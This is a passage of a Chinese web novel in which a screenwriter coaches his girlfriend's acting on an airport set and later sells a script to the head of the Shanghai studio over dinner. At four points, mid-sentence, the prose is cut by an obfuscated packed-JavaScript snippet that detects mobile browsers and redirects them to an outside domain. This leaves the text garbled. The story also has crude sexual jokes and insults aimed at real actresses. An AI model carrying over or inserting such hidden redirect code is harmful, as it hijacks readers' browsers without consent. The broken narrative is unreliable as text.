**雄瞥他一眼,道:“下午拍完后想着点儿,这事儿可不能拖。” 高远瞧了瞧四周,说道:“我现在就过去问吧。” 濮存昕下线后,紧跟着就是顾颜送林周云出国那场戏。 葛优和李老师去换服装了。 高远走进贵宾厅,见葛大爷正在补妆,走到他身边往折叠椅上一坐,先冲造型师点点头,然后对他说:“朱厂长让我来问问你,愿不愿意进北影厂工作。” 葛优一扭头儿,眉笔唰地一下,在他太阳穴上留下了一道黑色的线条。 他激动道:“我太愿意了,求之不得!” 造型师小冯义愤填膺道:“高老师你太讨厌了,非要在我给葛大爷补妆的时候说这种振奋他心的话,这不是故意给我捣乱么。” 高老师哈哈大笑,连声说着不好意思,又对葛优说道:“既然你同意了,那我就去向朱厂长汇报,你的人事关系调动手续他来办,这点你不用担心。 全总文工团那边,你就回了吧。” 葛优点头道:“好!好!我心里清楚,高老师给机会我才能有进厂的资格,大恩不言谢,今后事儿上见。” “言重了,是你的演技打动了朱厂长,化妆吧,争取今天把机场的戏份拍完。” 高远说完,起身走了。 电影拍摄,有顺着拍和跳着拍之间的区分。 顺着拍,就是按照故事情节的发展,一个镜头一个镜头地拍过去。 优点是随着拍摄进展,演员们慢慢走进人物的内心世界,越到后面情绪迸发得越强烈。 跳着拍就很考验演员们的表演技巧了。 因为不能占用机场太多的时间,所以王好为和高远商量过后就决定,集中精力先把机场的戏份搞定。 但顾颜送林周云出国这场重头戏却出了问题。 李老师的造型很漂亮,穿着件白色短款风衣,里面是黑白横条纹的圆领T恤衫,卡其色休闲裤,布洛克风格的女士休闲皮鞋。 这身衣服出自于高远的创意。 她跟李老师一说,李老师按照他的要求把衣服设计出来以后,眼睛都亮了。 没得说,这套衣服绝对走在了时代的前列腺上。 再加上李老师把长发散开,只简单束了个发带,空气刘海,呈现出一种蓬松感,优雅又时尚。 她一亮相就惊呆了众人。 从未见过如此秀丽娴静的女人! 此刻她在入口处翻弄着行李,接着回过头望向葛优。 “怎么了?”葛优走过去问道。 “护照找不着了。” “找啊,再好好找找。” 葛优也帮着寻找,始终没找到,下意识地摸摸兜,诶在我兜里呢。 原版中,这里有两句台词。 顾颜一脸懵逼,道:“是你放的吧?” 林周云委屈巴巴、楚楚可怜,“你本来,是可以把我留下的。为什么我……” 两人深情拥抱,全片结束。 高远嫌矫情,把这两句台词毫不留情给删除掉了,两人深情相拥后电影结束就完了。 这部影片横跨三个年头儿。 他注入了很多自己想要注入的元素。 比如说原版中,顾颜和林周云各自对象出国的方向都是加拿大温哥华。 加拿大有个**意思啊,美国才是天堂。 他做了修改。 又比如说,原版里面,男女主,包括各位配角的服装虽然款式新颖,却不符合他的审美标准,他也给改了。 除此之外,他改动最多的就是台词,他删掉了大量无意义的台词,尽量让演员们表达的时候往简约上靠,整部影片主要突出的是人的无奈、孤独和对温暖的渴望。 但这同时也给表演增加了难度。 王好为皱着眉头说道:“先停一下吧,健群,你感觉不对啊,不够细腻。” 李老师羞愧得不得了,快步走到导演身边,低着头,也不说话。 高跃林一看侄媳妇蔫儿了,立马拉了把椅子过来,道:“坐下歇歇。” 李老师这才轻声说道:“谢谢小叔。” 高跃林强笑一声,道:“缓缓,甭着急,慢慢来。” 李老师点点头,坐了下来。 葛优看着高远,说道:“你不过去讲两句?” 高远摇头道:“不去。” “诶你怎么这么冷漠了?上午还给我讲戏,下午轮到你女朋友了,你就撒手不管了?” “不是不管,你俩情况不同,你是心里有戏,感觉不对,只要找到了感觉,唰地一下就突破了。健群不一样……” 高远斟酌着,道:“我这么跟你说吧,《瞧这一家子》本质上就是部喜剧片,小红那个角色分量也一般,只要把词儿背下来,能流畅表达就算演出成功了。 《李志远》我就不说了,她总共没几句词儿。 但《大撒把》不一样,林周云这个角色,既有外在性格的展现,又有内心想法的表达。 对李老师而言,这部电影才是她作为主角参与拍摄的第一部影片。 她必须要自己先想明白怎样刻画这个角色,才能够在演技提升方面有个巨大的进步。 我当然能给她讲,但我更愿意看到她的成长。” 谢园感慨道:“高老师用心良苦啊。” 邱沛宁撇着嘴说道:“屁的用心良苦,要我说,这小子就是逼良……拔苗助长!明知道健群没多少表演经验,还逼着她自己去揣摩人物,你也忒损了。” 高远却严肃地说道:“想成为一名好演员,这是她必须要过的一道关。你们记住我说的话啊,我说的是演员,不是明星! 你们将来都要立志成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544871|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为一名好演员,千万不要去当演技浮夸,只会在人前显圣、装逼的所谓‘明星’。” 濮存昕点头道:“演员和明星完全不同的两个概念,简单说,戏比天大是演员,只关注知名度和经济收入的是明星。” 高远心说,濮老师看得通透,在场的各位在后世里都是一顶一的大演员。 像大幂幂、杨天宝、娜扎热巴超越娜娜,都是些什么玩意儿啊。 之前老有人说,明星派表演法的代表人物是大幂幂。 她算个球的明星派表演法,她在古装剧中总是白浅,在现代剧中总是乔妃。 咦…… 没眼看。 刘德华才是明星表演法的代表人物好吗? 跑题了。 方舒这时候说道:“李老师的人物小传大家都看过啊,她对林周云这个角色的理解非常深刻。高老师,你在剧本里并没有交代过林周云的基本情况,但健群自己给这个人物做了设定的。 我就闹不明白了,为什么一实拍,健群好像乱了心性了呢?” “大概她把自己写的人物小传给忘记了吧?或者是她太依赖于人物小传了,把自己搞迷糊了。”高远笑着回答道。 方舒眼珠儿一转,道:“要不,我帮她重新捋一遍?” 杨立新说道:“我看行,这样会提升她的自信心。” 李诚儒也点头说:“试试吧,总比在这里空耗时间要强。” “几点了?”高远问道。 “马上四点半了。”葛优回答道。 高远想了想,看着方舒道:“方姐,麻烦你了。” 方舒一笑,起身道:“瞎客气。” 她走到李健群身边,轻声问道:“好一点没?” 李老师瘪着嘴,沮丧道:“还是找不到感觉啊,我太难了。” 方舒握住她的手,笑道:“没关系,自信一点,你能行的。还记得你写的人物小传吗?” 李老师猛地一愣,点点头道:“记得。” “我帮你从头开始捋。” “好。” “林周云的年龄有多大?” “22、3的样子。” “她的职业呢?” “我设定的是一名文艺工作者,因为她骨子里有浪漫的基因。她丈夫出国,是国家指派去读学位,是个知识分子,但思想上极不安分,这样的男人,选择妻子的第一要素肯定是学历相当,然后貌美如花。 林周云的自身条件完美符合丈夫的这两点要求。” 方舒点点头,又问道:“她的家庭背景呢?” 李健群回答道:“家在外地,毕业留京工作,刚结婚没半年丈夫就出国留学了,这说明两人早就认识,之前有一定感情基础,要不然也不会刚走出校门就迈进婚姻的殿堂。 也正是因为林周云刚参加工作不久,所以在京城没有朋友,把顾颜当成了依靠。” “林周云的性格特点有哪些?” “矫揉造作,不善交际,生活能力差,但还挺坚强独立的。” “既然你都搞清楚了,为什么演不出来呢?” “我……” 听完两个姑娘的对话,王好为哈哈大笑起来,直言道:“健群,你不是演不出来,你是背上思想包袱了,一心想要演好,想要充分发挥表演技巧,却把一名演员最朴实、最本真的、也是最高的表演方式给丢掉了。” 李健群迷糊着问道:“导演,您说的这个表演方式到底是什么呀?” 王好为喊了一嗓子:“小远子,你来告诉你媳妇儿,演员最高的表演境界是什么。” 高远颠儿颠儿跑过来,笑嘻嘻说道:“八个字:大繁若简、返璞归真。” 第187章 北影厂第一骚 好姐姐似有所悟,低着头想了片刻,抬头笑道:“我知道该怎么演了。” 高远也蹲了下来,看着她,说道:“以前我老觉得你是那种老天爷追着赏饭吃的演员,现在我明白了,有表演天赋固然重要,但后天的努力也不能缺乏。” 李健群连连摆手道:“哎哟你可别这么说,我表演天赋虽高,但确实不够努力。” “我的意思是说,表演天赋是一种对角色和剧本理解能力的敏锐嗅觉,一拿到角色就知道该怎么去诠释这个人物,这就属于老天爷赏饭吃。” 高远笑道:“但演戏毕竟是个技术性工种,即便是没有表演天赋的演员,经过专业训练和不断参与影片拍摄的经验累积,也能成为一名好演员。 你刚才说知道该怎么演了,说说呗,下面你想怎样去诠释这个角色?” 大家一瞧高老师又情不自禁地讲上戏了,呼啦一下围了上来。 高老师给他女朋友讲戏,这可是头一遭,同志们都很期待这货如何引导李老师进入到角色中去。 李健群也认真起来,想了想后说道:“刚才方舒帮我回忆了一遍我人物小传里对林周云方方面面的解读,增加了我对人物的理解。 再结合你说的那八个字:大繁若简、返璞归真。 后面该怎么演,我想,我应该把人物放下,争取做到顺着人物原本的性格自然的表达。 尤其在台词方面,说话的语气要日常化、生活化。 表情要,要……” 高远完全理解她要表达的意思了,接茬道:“要慵懒,节奏要舒缓,是这意思吗?” 李健群一拍手,振奋道:“就是这个意思。” 高远也乐了,又道:“那我再给你提个小建议。” “嗯,你说。”李老师最喜欢听高老师讲戏了,因为他不是理论派,说的东西浅显易懂。 “你的目光里要有东西,准确说,要有光,自己找找这种感觉,然后配合一些肢体动作。对了,你养过猫吗?” “小时候家里养过。” 高远对王好为说道:“导演,今天就到这儿吧,李老师得培养一下情绪。” 王好为说好。 高远又对李健群说道:“今晚回去后,你练习一下,像猫那样蜷缩在沙发里,蜷缩在床上,像这样……杨老师你过来让我靠一靠。” 杨立新无奈地走过来。 高远干脆一屁股坐地上了,屈膝,后背靠在杨立新双腿上,双手抱着并拢的小腿,整个人非常放松。 眼神却是迷离且带着点儿戒备的,整个人给大家一种懒散又很警惕的状态。 哎哟,那个骚啊…… 没眼看,没眼看。 大家互相搀扶着笑趴了窝,引得乘客们全都朝这边瞩目。 **雄捧腹大笑,问田渝平道:“这小子给其他同志讲戏时也这个样儿吗?” 田渝平扶着他的肩膀,点头道:“是的,臭小子号称北影厂第一骚,他要是骚起来,咱们那几朵花都得甘拜下风。” 高远这做派虽说王好为和李健群等人早就领教过了,此刻见他亲自示范,还是没忍住,笑的上气不接下气的。 有这么好笑吗? 高远板着脸呵斥了一句:“都严肃点儿,上课呢,高老师没有权威性吗?” 大家笑得更大声了。 杨立新一抖腿。 这孙子啪就摔地上了。 关键时刻还得是女朋友啊。 李健群呀了一声,慌忙起身将他搀扶起来,紧张兮兮地问道:“没事儿吧?磕没磕到后脑勺?” 这孙子摸了摸,露出阳光一般灿烂的笑容,道:“没事儿,后背先着的地,我这皮糙肉厚的,不要紧。” 杨立新也忙说道:“对不起啊对不起,我实在是没忍住,腿突然就抖了。” 高远大度,道:“嗐,小问题,杨老师别放在心上……好了,都别笑了,我抓紧说完大家也好抓紧下班。” 李健群也不回去坐了,让他靠在自己身上,水润的眸子凝视着他,“嗯嗯,你继续说,我还要练习些什么?” “我上午跟你说过的,在顾颜找到护照后,让你表现出一种既不舍又窃喜的情绪,刚才看了你的表演后,我推翻了这个想法。 林周云什么性格? 娇气、小作、刻薄、怯懦,却也带点儿可爱。 有二十岁女性向往的浪漫主义情怀,却又被现实狠狠打了脸。 所以,她怎么可能把不舍和窃喜两种情绪融合在一起表现出来呢? 那不现实嘛。 因此,你只需要找到她矫揉造作、毒舌又胆小,还有可爱的共性,然后代入进去,这个角色也就塑造成功了。” 高远一口气说完。 李健群的双眼柔情似水,这会儿他觉得高老师特光芒万丈。 忙不迭点头,李健群说道:“我明白了,回去后我抓紧练习。” 大家也都对高远佩服的五体投地。 同样是讲戏,别人就只会讲人物性格如何展现,给演员们分析表情该如何拿捏。 高老师不一样,高老师直接教表演方法。 一个比喻接一个比喻的,让演员们一下就找到了最适合模仿的表演技巧。 这效率,太高了。 一行人嘻嘻哈哈收拾器材,演员们也主动帮忙搭把手。 把器材、道具搬到大面包上,大家分乘两辆车返回市区。 从机场到北影厂有段距离。 高远和李健群并肩坐在后排。 “想好了没?打算啥时候搬家啊?”他问大姐姐。 “看你喽,你哪天把床买了,我拎个包就搬进去。”李健群轻声道。 “呀,想通了?” “也不是想通了,就是越琢磨你说的那话越觉得膈应人。” 高远笑道:“那就干脆把沙发一起换了吧。” 李健群琢磨琢磨,抬手打他一下,“你脑子里整天都在想些什么?” 你居然能理解我的潜台词! 高远震惊了,随即又释然,还有一丝小小的成就感。 这段时间的调教,成效显著啊。 他打了个哈哈,道:“这事儿不能拖,明儿我就找个时间把床和沙发都给换了。” 李健群哼了一声,不想搭理他。 高远心中窃喜,大姐姐越来越风情万种了。 他偷偷抓住了李老师柔软的小手。 李老师挣扎了一下,没挣开,只能由着他握着。 车子开进北影厂后就变成了十指紧扣。 大家下了车,正好赶上饭点儿,便一起去食堂吃晚饭。 李健群跟王好为交流了几句后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高远笑着说:“您过奖了,回头有合适的本子,我特别期待跟您的第二次合作。” 刘小庆嗯了声,只当他这是句客气话,往后一瞧,冷声道:“高跃林,你出来吧,我没打算给高远当三婶儿,你不用担心我缠着你不放。” 高跃林讪笑着露出头来,尴尬地解释道:“这话说的,我也没躲着你啊,我裤腰带松了,光天化日之下总不能当着大家的面儿拉紧吧。” “嗯,你裤腰带是挺松的,还是经常性松,是该看得紧一点了,不然光天化日的露出啥不该露的东西来,被人举报到**机关,治你个流氓罪把你毙了,你**也是白死的。” 刘小庆这话说得太狠了。 高跃林瞠目结舌,我这么大罪过吗? 高远低着头不敢吱声。 李健群狠狠抓住他的手腕,生怕一个绷不住就笑出声来。 两人心说:小叔啊小叔,你找个什么理由不行,非要说自己裤腰带松了,这不是主动往人家手里递话把么。 第188章 徐桑楚来访 刘小庆说完,冲高远和李健群笑了笑,蹬着自行车走了。 高跃林望着她远去的背影,看着在落日余晖的照耀下,那两条白到发光的小腿,有片刻失神。 高远给了他一拐子,笑道:“等她离了婚你再去追也不晚。” 高跃林倒是很清醒,摇头说道:“这个女人事业心太强了,她的一切行为,包括靠近谁、拉拢谁、跟谁谈恋爱、结婚,目的只有一个,就是为了往上爬。 追名逐利本没有错,但过于看重利益,为达目的不择手段就很可怕了。 她不是我能把控的女人。” 说实话,小叔能有如此清醒的认知有点出乎高远和李健群两人的预料之外。 两人对视一眼,高远拍拍小叔的肩膀,说道:“你自己想清楚就行,走吧,回家吃饭。” 半路上买了点肥肠和烧鸡,三人溜达着回到家。 刚走到公寓楼下面,一个人影闪了出来,他笑眯眯冲高远摆手。 高远定睛一看,惊讶道:“徐厂长,您怎么在这儿啊?” 来人是上影厂的老大徐桑楚。 “我来京开会,完了后跟你大伯聊了几句,打听到你家住址,这不是不方便去北影厂找你么,就过来碰碰运气。” 徐桑楚胖乎乎的,慈眉善目,腋下夹着个黑皮包,手里拎个点心匣子。 高远忙跟他握手道:“您可着实吓了我一跳,快快快,家里坐吧。” 徐桑楚也不跟他客气,本就是来拜访的,于是随他上楼进了家。 老妈和姐姐正在包饺子,老爸坐在沙发上拿着一张报纸浏览着。 见高远带了个不认识的人进了门,高跃民站起身,笑道:“小远,这位是?” 高远给两人做介绍:“爸,这是上影厂的徐桑楚厂长,徐厂长,这是我爸高跃民。” 一听高远说来人是上影厂厂长,高跃民也有些惊讶了,放下报纸迎上前跟他握手,道:“哎呀,徐厂长大驾光临,欢迎欢迎。” “高教授客气了,我来得有些冒昧,实在是不好意思啊。”徐桑楚把高远的家庭成员状况摸得一清二楚,不仅知道高跃民是大学副教授,更清楚张雪梅是海淀医院外科副主任。 难怪能培养出高远这么个优秀的孩子来,人家是知识分子家庭。 张雪梅听到外面传来的聊天声,也从厨房里走出来跟徐桑楚寒暄了两句。 高跃民邀请徐桑楚在沙发上坐下,给他递上根烟。 李建群沏了杯茶端给徐桑楚,又给小叔递上一杯,然后说道:“叔,您和徐厂长聊着,我去厨房帮阿姨包饺子了。” 高跃民笑着说道:“去吧。” 老公公的派头十足。 徐桑楚为何而来,高远心里非常清楚。 果不其然,徐桑楚跟高跃民浅谈了几句各自工作方面的内容后,感慨道:“不瞒高教授说,改革开放后,国内电影事业的发展一片欣欣向荣,但是面临的困难也同样很多。 最大的难点在于,各家制片厂生产指标充足,但可供加工制作的内容太稀缺了。 简言之,就是缺少好剧本。” 高跃民抽着烟,说道:“不对吧徐厂长,我听高远说,北影厂今年的拍摄指标就不够用啊。” 徐桑楚苦笑道:“那是因为北影厂有高远啊,我们上影厂可没有像高远这种产量如此高的编剧。这也是我今天厚着脸皮登门拜访的主要原因,我求剧本来了。” 高远忙说道:“您太谦虚了,上影厂贵为咱们国家三大电影制作基地之一,人才肯定是不缺乏的,我听说您不是正在拍摄《巴山夜雨》吗? 吴永刚老先生任总导演,吴贻弓同志担任现场执导,演员阵容强大,涵盖了李志舆老师,强明老师,欧阳儒秋老师,还有年轻演员张瑜。 这片子拍出来,绝对会成为一代经典的。” 徐桑楚也抽了口烟,道:“还在筹备期间,并没有正式进入到拍摄期,《巴山夜雨》确实是一部不可多得的好剧本,但并不能说明我们就不缺好本子了。 小高,我直言不讳,中国电影圈就这么大,哪家制片厂有个风吹草动的,大家很快就能得到消息。 还有就是,上面发布的政策也是电影拍摄制作的风向标,廖公今年点了两部片子,一部是你的《太极》,一部是香港左派的《少林寺》。 这说明什么? 说明武打片将来会成为各家电影制片厂拍摄制作的主流影片。 奈何会创作武打片的编剧太少了,写得好的更是凤**麟角。” 他看着高远,顿了顿,端起茶杯喝了口茶,幽了一默:“我听我们打入到北影厂内部的同志介绍说,你那部《太极》精彩至极,尤其是闯塔的戏份,快慢结合的特别棒。 第一层和第二层快速通关,第三层是细打,主角杨昱乾和苗疆高手孟猛的对决如电光火石般绚烂。 第四层第五层又快速通关,到了第六层又碰上了硬茬子无名。 最后一层和端王爷的终极碰撞,太极剑对决双手剑,火光四射,令人目不暇接!” 高远乐得不行了,幸亏你说了是打入到北影厂内部的同志放出来的消息,不然我还以为你就在片场偷摸观察呢。 拍闯塔戏份的时候,高远就在现场,他虽然不指手画脚了,但并不代表着对这部影片不上心了。 诚如徐桑楚所言,《太极》杨昱乾勇闯七雄塔的戏份精彩至极。 拍摄期间袁和平压力山大。 七雄塔在整部影片中占比23分钟,却整整拍摄了19天。 在这19天里,袁家兄弟都起了一嘴燎泡,眼眶乌黑。 袁祥仁发高烧到39°2都不肯休息,抱着个装满开水的罐头瓶子声音嘶哑给演员们示范动作。 敬业精神让演职人员们无不动容。 在两位武指大家的指导下,闯塔这部分内容让人感觉到热血沸腾! 高跃民也来了兴致,问道:“真有那么好看吗?” 徐桑楚笑道:“反正我听说特别好看。” 这时候,张雪梅把菜端上了桌,说道:“徐厂长,不知道您来,我就没做什么准备,简单炒了几道菜,您若不嫌弃,坐下吃一口吧。” 徐桑楚瞪大眼睛说:“哎哟,这怎么好意思啊,你看,光顾着聊了,也没聊到正经事上……小高,我今儿是奔着你那本《木棉袈裟》来的。 我听说你还没卖出去对吧? 干脆点儿,给我吧,你答应,我立刻就走。 你不答应我可真在你们家吃饭啦。” 徐桑楚这人特幽默。 高远起身拉着他的胳膊说道:“我答不答应您都得留下来吃饭,我们家可没有到饭点儿不留客的规矩,说出去让人笑话。” 高跃民也说道:“对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549246|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对对,无论如何您都得留下来吃顿饭,我陪您好好喝一杯。” 徐桑楚嘿嘿笑道:“那我就不客气了,叨扰一顿。” 四个人走到餐桌前落了座。 小叔买来的烧鸡撕开摆了个盘,辣椒炒肥肠,清炖鲫鱼,西红柿炒鸡蛋,芹菜炒肉丝,外加一道凉拌黄瓜。 六道菜。 徐桑楚说道:“太丰盛了,太丰盛了。” 高远起身回自己屋里拿了两瓶茅台酒来,打开后给徐桑楚、老爸和小叔倒满,自己也倒了一杯。 有钱后他不忘初心,让小叔托关系弄了十多箱葵花茅台,就是带标语那种。 全塞在他床底下,轻易不拿出来喝。 这玩意儿存放个几十年,一箱就能换四环边上一套楼。 他跟小叔说,只要碰到了就毫不犹豫地拿下来,别怕花钱。 高跃林知道自己这个侄子眼光长远,挣钱的道道更是如下海的女优,多如牛毛。 他果断采纳了侄子的意见,甚至连进厂前倒腾塑料凉鞋挣到的钱都没给高远分红,全投入到收购葵花茅台的伟大事业中去了。 这段儿经过他暗戳戳的努力,又收到了三十多箱,被他藏在了老院子的地窖中。 徐桑楚把高远手里的酒瓶接过来一看,咝! 带标语的葵花茅台啊,这两年可不多见了。 “小高,你手里的好东西不少啊。”徐桑楚笑着说道,还端起酒杯来闻了闻,吐出一个字来:“香!” “也是偶然收来的,就剩这两瓶了,也就是您,老厂长都没这口福。”高远说道。 徐桑楚哈哈大笑,端起酒杯跟高跃民兄弟俩碰了碰,说道:“感谢您全家人的热情款待,这让我挺不好意思的,本来是想找小高商量商量购买剧本一事,没想到还白饶您一顿饭,给你们添麻烦了,我先敬高教授和跃林同志一杯。” 高跃民笑着说道:“徐厂长老我家做客,是我们全家的荣幸。高远这孩子能有今天这点小成绩,也离不开你们这些老前辈们的提携和帮助。 我代表全家人欢迎您的到来,以及您对高远的支持与厚爱,这杯酒,理应我们敬您。” 高跃林也说道:“是啊徐厂长,您就别客气了,我们家人都清楚,没有您们的支持,小远纵然再有才华,也没有施展的空间,这杯酒,我和我哥敬您。” 高远说:“我陪一杯。” 徐桑楚眉开眼笑,越发对这家人好感激增,端起七钱的酒盅子一饮而尽,末了一抹嘴,旧事重提道:“小高,给句痛快话吧,你那《木棉袈裟》到底卖不卖?” 高远把酒盅子放下,笑着说:“卖是肯定要卖的,您都跑家里来堵我了,我再不卖怎么对得起您这份诚意啊。” 徐桑楚又发出爽朗的笑声,夹口菜吃,道:“你爽快,我也是个痛快人,一口价,2500块。 小高啊,我实话告诉你,我们上影厂不比北影厂差,相中的剧本也舍得花钱买。 汪阳那个老东西有魄力,我徐桑楚也大气磅礴。” 高远点头道:“嗯嗯,看出来了。” “那就这么决定了?” “行吧,决定了。” 徐桑楚得了高远的承诺,很激动,又端起酒盅跟三人喝了一杯。 高远很八卦,问道:“徐厂长,外界盛传您跟我们老厂长经常闹意见不合,真的还是假的?” 第189章 改革!改革!(求票!求票!) 听高远提起这事儿来,徐桑楚就乐了,他说道:“外人看到的那都是表象,我承认制片厂与制片厂之间是存在竞争关系的,但更多的是互相合作。 比如说,上影厂缺导演了,我给老汪打电话借个人,老汪二话不说就派个合适的导演过来。 北影厂缺合适的演员了,老汪给我打电话点人头,只要他看中的演员没在戏上,我也立马派过去。 我俩没啥意见不合的地方,只是他看不惯我的洋范儿,我瞧不上他的老派,仅此而已。 在大方向上,比如说电影事业改革,我们俩是有着共同目标的。” “您二位那个共同的目标就是联合起来,从中影手里把电影版权和发行权夺回来吧?”高远又问道。 徐桑楚哈哈大笑,“我一点都不意外你能看到这一层,没错儿,这不仅是我和老汪的愿景,也是全国各电影制片厂所有从业者的愿景。 中影太霸道了,把持着电影版权和发行权不放,一部影片七十万买断,他们负责影片的发行工作,挣多挣少跟制片厂无关,长此以往,大家挣不到钱,没了心气儿,中国电影不死,也会逐渐衰落。” 高跃民点头道:“听您这么一说,中影如此做派,确实成为了阻碍国家电影事业发展的绊脚石。” 徐桑楚拍拍高跃民的手背,道:“所以说,电影事业必须进行改革,彻彻底底的改革。” 高远又问道:“您这次来京,就是为了改革之事?” 徐桑楚说道:“嗯,来开会的,你大伯组织的会议。” “有进展了吗?” “版权还给制片厂了,丁达明那老小子死咬着发行权不放。最后研究出个大家都能够接受的方案,按影片质量核算收购价格,好片子中影高价收购,质量差的低价收购。” 高跃林问道:“那怎么判定影片质量的好坏呢?” 高跃民也说道:“对啊,观众们看电影普遍是带着主观情绪的,我觉得这电影好看,你可能就认为不好看,这东西哪有个固定标准?” 高远给三位满上酒,也目光灼灼望住徐桑楚。 徐桑楚敬了高跃民一杯,吃口菜后说道:“您二位说到点子上了,这也是今天开会争论的焦点问题。如何进行评判呢? 最后大家商量出个办法来,电影拍摄制作完成后,组织各省放映公司的领导到中影集团去看片。 放映公司的领导们对该影片认可,愿意购买拷贝,那就说明这是部质量不错的影片。” “也就是说,以售卖拷贝的数量来决定影片的质量喽。” “对,就是这个意思。” “那收购价格方面有什么调整?” “片子还是由中影来进行收购,他们往地方上卖拷贝,出售到99——120这个区间,每个拷贝中影给制片厂支付最低90万,最高108万。” 高跃林问了一句:“如果低于或者高于这个区间呢?比如说,大家都不看好这部片子,最终只卖出去30个拷贝,或是都看好,卖了3、400个,这种情况下中影如何跟各制片厂进行结算?” 徐桑楚点了根烟,笑道:“如果低于99个,中影就按照99万来给制片厂付款,高于120个,甭管高出多少来,统一收购价120万。 你们没看到啊,达成这个协议后,丁达明那老小子脸都是绿的。” “换我我也绿。”高远一乐,说道:“您们的小刀子太快了,这可是实实在在的割丁总身上的肉,制片厂的利润明显提高,但中影的负担就加重了。 全国十几家电影制片厂,一年才能生产出几部能卖120个拷贝的片子啊? 那些个文艺片、纪录片,拍出来没人看,中影也得咬着牙支付给制片厂99万块,这明摆着就是让丁总当冤大头嘛。” “话可不能这么说,改革嘛,从来都不是一蹴而就的,大家都在摸着石头过河,如果你连下河的勇气都没有,那,河里有多少块石头你也摸不清楚。”高跃民不同意儿子的观点。 徐桑楚则说道:“高远说得倒也对,所以说,这一改革,能写、会写、还能写出好作品来的编剧就成了香饽饽,因为好作品能给制片厂创造实实在在的利益。 小高你等着看吧,不出几天,各大制片厂就会蜂拥而至,飞蛾扑火地找到你门上来,求着你进行创作的。” “徐厂长,还是您有先见之明啊,刚散了会就堵我来了。我还挺纳闷,怎么上次您只肯出1200块买我的剧本,这次一下就把价格提到了2500呢,敢情您已经预见了我会涨行市啊。” “哈哈哈哈……我说漏嘴了,不过你这个小子鬼精鬼精的。 既然你看破了我这点儿小心思,我也就不瞒你了。 没错儿,你马上就要涨行市了,你写的剧本会成为抢手货。 作为上影厂的掌舵人,我得为全厂职工负责,所以就过来跟你这位大才子稳固稳固关系。 咱说好啊,你可不能说话不算数,说好2500就是2500,你可别跟我玩儿坐地起价那一套。” “那肯定不会啊,我挺大一小老爷们儿,一口唾沫一颗钉,说多少钱卖给您就多少钱卖给您,言而无信的事情我可干不出来。 再说了,我还得感谢您给我透了这么多内部消息呢,临时加价我也太不当人了。” 徐桑楚呵呵一笑,又拍着高跃民的手背说道:“老弟,你生了个好儿子啊。” 高跃民也挺哏儿,道:“都是雪梅的功劳,都是雪梅的功劳。” 张雪梅娘儿仨端着饺子走过来,笑道:“吃水饺喽。” “哎呀,我今天可算是有口福了。”徐桑楚夹了个饺子塞进嘴里,嚼嚼咽下后说道:“韭菜猪肉馅的啊,香!” “好吃您就多吃点儿。”张雪梅笑道。 “对,饺子就酒,越吃越有。”高跃民又给他夹了一个,放在他面前的味碟里。 高远起身去厨房拿来一瓶醋和两头蒜放在餐桌上,谁用谁自己倒。 四个人喝了两瓶茅台就没再继续喝。 吃完饭后,徐桑楚迫不及待地拿出合同来让高远签了,当场点了2500块稿费,又让他打了个收条,约定好明天给稿子,随即提出告辞。 见他喝得摇晃了,高跃民说道:“老哥,都这个点儿了,您也别回市里了,若是不嫌弃条件简陋,就在我们学院的招待所里将就一宿吧。” “条件好坏我倒是不在乎,能有张床睡觉就成,不过,这……合适么?” 徐桑楚心里清楚,高跃民说这话就意味着他要给自己安排住宿,他不想给高跃民添太多麻烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549247|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这有啥不合适的,您先坐会儿,我打个电话。” 高跃民不这么想。 在他看来,徐桑楚贵为一厂之长,正厅级干部,虽然有求才若渴的意思,但能亲自出面跑来跟自己儿子谈合作,真是给了好大脸面。 自己请人家吃顿饭,安排一下住宿,这是应当应分的。 他给招待所负责人打了个电话,要了一个房间,亲自把徐桑楚送过去,又嘱咐服务人员照顾好自己这位老哥哥,这才回了家。 高远都乐了,俩人第一次见面,喝了顿酒就称兄道弟了,难道这就叫一见如故? 高跃林也告辞离开了。 高雅却死活不让李健群走。 “这么晚了你还回去干吗?路上也不安全啊,今晚就跟我睡吧。”高雅挽着李健群的胳膊说道。 李健群很为难,她说道:“那个,高远还给我布置了作业呢,我得回去练习。” 高雅好奇地问道:“什么作业啊?” 李健群简单说了说。 